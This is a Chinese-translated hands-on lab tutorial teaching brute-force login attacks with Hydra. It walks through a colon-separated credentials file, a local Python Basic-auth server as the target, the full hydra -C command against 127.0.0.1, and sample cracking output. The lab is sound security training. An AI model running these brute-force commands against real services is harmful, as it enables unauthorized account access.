使用冒号分隔凭证进行攻击

HydraHydraBeginner
立即练习

💡 本教程由 AI 辅助翻译自英文原版。如需查看原文,您可以 切换至英文原版

简介

在这个实验中,你将学习如何使用 Hydra 执行基于凭证的攻击。该实验侧重于利用包含用户名/密码组合的冒号分隔凭证文件来破解目标服务的登录凭证。

你将首先使用像 nano 这样的文本编辑器创建一个 credentials.txt 文件,其中包含用户名:密码对。然后,你将学习如何使用 -C 选项将此文件加载到 Hydra 中,使 Hydra 能够有效地尝试针对目标的多种登录组合。最后,你将验证输出是否与攻击中使用的凭证相符。

创建登录凭证文件

本步骤中,你将创建一个包含用户名和密码的文件,每行一个组合,用冒号分隔。此文件稍后将与 Hydra 一起使用,尝试破解目标服务的登录凭证。

首先,让我们了解凭证文件的所需格式。每行应包含用户名、冒号 (:) 和对应的密码。例如:

username1:password1
username2:password2

现在,让我们创建该文件。我们将使用 nano 文本编辑器,它简单易用。如果你的终端尚未位于 ~/project 目录,请导航到该目录:

cd ~/project
  1. 使用 nano~/project 目录中打开名为 credentials.txt 的新文件:

    nano credentials.txt
  2. nano 编辑器中,添加以下用户名/密码组合。这些是 Hydra 将尝试使用的凭证。

    admin:password
    user1:123456
    test:test
    root:toor
  3. 要保存文件,请按 Ctrl+O (写入)。Nano 会提示你输入文件名。只需按 Enter 键接受默认文件名 (credentials.txt)。

  4. 要退出 nano,请按 Ctrl+X

现在,让我们验证文件已创建并且包含正确的内容。使用 cat 命令显示 credentials.txt 文件的内容:

cat credentials.txt

你应该看到你之前输入的用户名/密码组合:

admin:password
user1:123456
test:test
root:toor

你现在已成功创建了一个可与 Hydra 一起使用的凭证文件。此文件包含 Hydra 将尝试用于目标服务的潜在用户名和密码列表。

设置一个带身份验证的基本 HTTP 服务器

本步骤中,你将设置一个需要基本身份验证的简单 HTTP 服务器。这个服务器将在下一步的 Hydra 攻击实验中作为我们的目标。我们将使用 Python 脚本实现。

首先,确保你位于 ~/project 目录:

cd ~/project

现在,使用 nano 创建一个名为 webserver.py 的新 Python 文件:

nano webserver.py

将以下 Python 代码粘贴到编辑器中:

import http.server
import socketserver
import base64

PORT = 8000

class AuthHandler(http.server.SimpleHTTPRequestHandler):
    def do_HEAD(self):
        self.send_response(200)
        self.send_header('Content-type', 'text/html')
        self.end_headers()

    def do_AUTHHEAD(self):
        self.send_response(401)
        self.send_header('WWW-Authenticate', 'Basic realm="My Realm"')
        self.send_header('Content-type', 'text/html')
        self.end_headers()

    def do_GET(self):
        auth = self.headers.get('Authorization')
        if auth == None:
            self.do_AUTHHEAD()
            self.wfile.write(b"Authentication Required")
        elif auth == 'Basic YWRtaW46cGFzc3dvcmQ=': ## admin:password base64 编码
            http.server.SimpleHTTPRequestHandler.do_GET(self)
        else:
            self.do_AUTHHEAD()
            self.wfile.write(b"Authentication Failed")

Handler = AuthHandler

with socketserver.TCPServer(("", PORT), Handler) as httpd:
    print("serving at port", PORT)
    httpd.serve_forever()

这个脚本在端口 8000 上创建一个基本的 HTTP 服务器。它需要基本身份验证。正确的用户名是 admin,密码是 password。Base64 编码的字符串 YWRtaW46cGFzc3dvcmQ= 代表 admin:password

保存文件 (Ctrl+O,然后 Enter) 并退出 nano (Ctrl+X)。

现在,运行 Python 脚本启动 HTTP 服务器。我们将它在后台运行,以便你继续使用终端:

nohup python3 webserver.py > /dev/null 2>&1 &

nohup 命令允许进程即使你关闭终端也能继续运行。> /dev/null 2>&1 将标准输出和标准错误重定向到 /dev/null,防止服务器的输出使你的终端混乱。& 在末尾运行命令在后台。

为了确认服务器正在运行,你可以检查端口 8000 上是否有正在监听的进程:

ss -ltn | grep ':8000'

你应该看到类似于这样的输出,表明端口 8000 上有一个正在监听的进程:

LISTEN 0      4096   0.0.0.0:8000      0.0.0.0:*

保持此服务器运行,以便进行下一步操作。

使用 Hydra 攻击 HTTP 服务 (凭证文件)

本步骤中,你将使用 Hydra 攻击你在上一步中设置的 HTTP 服务。你将使用 -C 选项加载你在步骤 1 中创建的凭证文件,允许 Hydra 高效地尝试多种用户名/密码组合。

确保你位于 ~/project 目录:

cd ~/project

现在,执行以下 Hydra 命令攻击在 127.0.0.1 端口 8000 上运行的 HTTP 服务器:

hydra -C credentials.txt 127.0.0.1 http-get / -s 8000 -vV

让我们分解这个命令:

  • hydra: 运行 Hydra 工具的命令。
  • -C credentials.txt: 此选项指定了凭证文件的路径。Hydra 将从该文件中读取用户名/密码组合。
  • 127.0.0.1: 目标 IP 地址。这是回环地址,指的是你的本地机器。
  • http-get /: 指定要攻击的服务 (HTTP) 和请求的路径 (/)。http-get 是执行 HTTP GET 请求的模块。
  • -s 8000: 指定目标服务的端口号。我们的 HTTP 服务器运行在端口 8000 上。
  • -vV: 启用详细模式,显示登录尝试和任何找到的凭证。

Hydra 将现在尝试使用 credentials.txt 文件中的用户名/密码组合暴力破解 HTTP 服务器。它将尝试将每个组合与目标服务进行匹配。

你应该会看到 Hydra 的输出,表明它正在尝试不同的用户名/密码组合。如果 Hydra 成功找到正确的凭证 (admin:password),它将在输出中显示它们。

成功攻击示例输出:

Hydra v9.2 (c) 2021 by van Hauser/THC & David Maciejak - 请勿在军事或秘密服务组织或用于非法目的中使用 (此为非约束性,这些 *** 无论如何都忽略法律和道德)。

Hydra (https://github.com/vanhauser-thc/thc-hydra) 开始于 ...
[DATA] 每台服务器最多 16 个任务,总共 16 个任务,4 次登录尝试 (l:4/p:1),每个任务约 1 次尝试
[DATA] 攻击 http-gets://127.0.0.1:8000/
[VERBOSE] 解析地址 ... [VERBOSE] 解析完成
[ATTEMPT] 目标 127.0.0.1 - 登录 "admin" - 密码 "password" - 1 of 4 [子进程 0] (0/0)
[ATTEMPT] 目标 127.0.0.1 - 登录 "user1" - 密码 "123456" - 2 of 4 [子进程 1] (0/0)
[ATTEMPT] 目标 127.0.0.1 - 登录 "test" - 密码 "test" - 3 of 4 [子进程 2] (0/0)
[ATTEMPT] 目标 127.0.0.1 - 登录 "root" - 密码 "toor" - 4 of 4 [子进程 3] (0/0)
[8000][http-get] 主机: 127.0.0.1 登录: admin 密码: password
[STATUS] 攻击已完成 127.0.0.1 (等待子进程完成测试)
1 of 1 个目标已成功完成,找到 1 个有效密码
Hydra (https://github.com/vanhauser-thc/thc-hydra) 完成于 ...

如果攻击成功,Hydra 将打印正确的用户名和密码。

确认已找到的凭证

本步骤中,你将确认在上一步骤的攻击中 Hydra 找到的凭证与 credentials.txt 文件和 webserver.py 脚本中的预期凭证相符。这验证了 Hydra 正确地识别了有效的登录组合。

在上一步骤中,Hydra 的输出应该显示了以下行(或类似行):

[8000][http-get] host: 127.0.0.1   login: admin   password: password

此行指示 Hydra 成功找到了目标服务的用户名 admin 和密码 password

现在,让我们验证这些凭证确实存在于我们创建的文件中。

  1. 验证 credentials.txt 中的凭证:

    使用 cat 命令显示 credentials.txt 文件的内容:

    cat credentials.txt

    确认该文件包含行 admin:password。这是 Hydra 尝试过的组合之一。

  2. 验证 webserver.py 中的凭证:

    使用 cat 命令显示 webserver.py 文件的内容:

    cat webserver.py

    查找检查 Base64 编码身份验证头的那一行。你应该找到类似于此的行:

    elif auth == 'Basic YWRtaW46cGFzc3dvcmQ=': ## admin:password base64 编码

    字符串 YWRtaW46cGFzc3dvcmQ=admin:password 的 Base64 编码。这确认了服务器配置为接受 admin 作为用户名和 password 作为密码。

通过验证 Hydra 找到的凭证与服务器脚本中配置的凭证以及凭证文件中存在的凭证相符,你确认了使用 -C 选项的暴力破解攻击的成功。

最后,让我们停止后台 HTTP 服务器进程。你可以再次使用 ss 命令找到进程 ID (PID):

ss -ltn | grep ':8000'

输出将显示第二列中的 PID。例如:

LISTEN 0      4096   0.0.0.0:8000      0.0.0.0:*    users:(("python3",pid=12345,fd=3))

在此示例中,PID 为 12345。使用 kill 命令停止该进程,将 [PID] 替换为你找到的实际 PID:

kill [PID]

例如,如果 PID 为 12345:

kill 12345

你可以通过再次运行 ss -ltn | grep ':8000' 来验证服务器是否已停止。应该没有输出。

总结

在本实验中,你学习了如何创建一个名为 credentials.txt 的凭证文件,该文件包含用冒号分隔的用户名和密码组合,每种组合都位于新的一行。此文件存储在 ~/project 目录中,并准备用于 Hydra。

你还学习了如何使用 Python 脚本设置一个具有身份验证的基本 HTTP 服务器,该服务器用作攻击的目标。

最后,你成功地使用带有 -C 选项的 Hydra 加载凭证文件并对 HTTP 服务器执行暴力破解攻击,演示了如何有效地测试多种登录组合。你确认了找到的凭证与预期值相符,验证了攻击的成功。